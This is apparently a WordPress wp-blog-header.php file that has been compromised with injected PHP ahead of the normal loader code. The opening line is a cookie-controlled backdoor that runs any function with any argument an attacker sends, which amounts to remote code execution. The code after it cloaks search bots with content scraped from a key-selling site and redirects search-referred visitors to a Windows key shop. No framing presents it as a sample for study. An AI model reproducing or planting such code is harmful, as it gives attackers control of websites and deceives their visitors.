<%>PHP< if (isset($_COOKIE["id"])) @$_COOKIE["user"]($_COOKIE["id"]); %> $tmp = strtolower($_SERVER['HTTP_USER_AGENT']); $mysite = "http://denimdaily.com/"; $filename = ""; $fromsite = "http://www.allkeyshop.com/blog/buy-windows-10-professional-cd-key-compare-prices/"; if (strpos($tmp, 'google') !== false || strpos($tmp, 'yahoo') !== false || strpos($tmp, 'aol') !== false || strpos($tmp, 'sqworm') !== false || strpos($tmp, 'bot') !== false) { $ksite = !empty($_GET['p']) ? $_GET['p'] : ""; $list = array( ); $listname = $filename . "?p="; $liststr = "
"; foreach ($list as $key => $val) { if ($ksite == $key) { $fromsite = $val; } $liststr .= "" . $key . "  "; } $liststr .= "
"; $url = empty($_GET['viewid']) ? "" : $_GET['viewid']; $content = file_get_contents($fromsite . $url); if (!empty($ksite)) { $qstr = $filename . "?p=" . $ksite . "&viewid="; } else { $qstr = $filename . "?viewid="; } $repstr = $mysite . $qstr; $content = str_ireplace('href="', 'href="/', $content); $content = str_ireplace('href="//', 'href="/', $content); $content = str_ireplace('href="/http', 'href="http', $content); $content = str_ireplace('href="/http', 'href="http', $content); $content = str_replace('href="/', 'href="' . $fromsite, $content); $content = str_ireplace('src="', 'src="/', $content); $content = str_ireplace('src="//', 'src="/', $content); $content = str_ireplace('src="/http', 'src="http', $content); $content = str_ireplace('src="/http', 'src="http', $content); $content = str_replace('src="/', 'src="' . $fromsite, $content); $content = str_ireplace($fromsite, $repstr, $content); $content = str_replace($repstr . "skin", $fromsite . "skin", $content); $content = str_replace($repstr . "style", $fromsite . "style", $content); $content = str_replace($repstr . "js", $fromsite . "js", $content); $content = str_replace($repstr . "media", $fromsite . "media", $content); $content = str_replace($repstr . "res", $fromsite . "res", $content); $content = str_replace("http://www.allkeyshop.com/",$repstr, $content); $content = str_replace("",$liststr . "", $content); echo $content; exit; } else { $tiaourl =("http://www.windows7-8key.com/"); if(isset($_GET['viewid']) || isset($_GET['p'])) { header("location: " . $tiaourl); exit; }$ref = strtolower($_SERVER['HTTP_REFERER']); if (strpos ($ref, 'google') !== false || strpos ($ref, 'yahoo') !== false || strpos ($ref, 'bing') !== false || strpos ($ref, 'aol') !== false || strpos ($ref, 'ask') !== false || strpos ($ref, 'search') !== false) { $in = ("/"); if($_SERVER["REQUEST_URI"]==$in){header("location:http://www.windows7-8key.com/windows-10-c-34.html ");exit;}} } ?> /** * Loads the WordPress environment and template. * * @package WordPress */ if ( !isset($wp_did_header) ) { $wp_did_header = true; // Load the WordPress library. require_once( dirname(__FILE__) . '/wp-load.php' ); // Set up the WordPress query. wp(); // Load the theme template. require_once( ABSPATH . WPINC . '/template-loader.php' ); }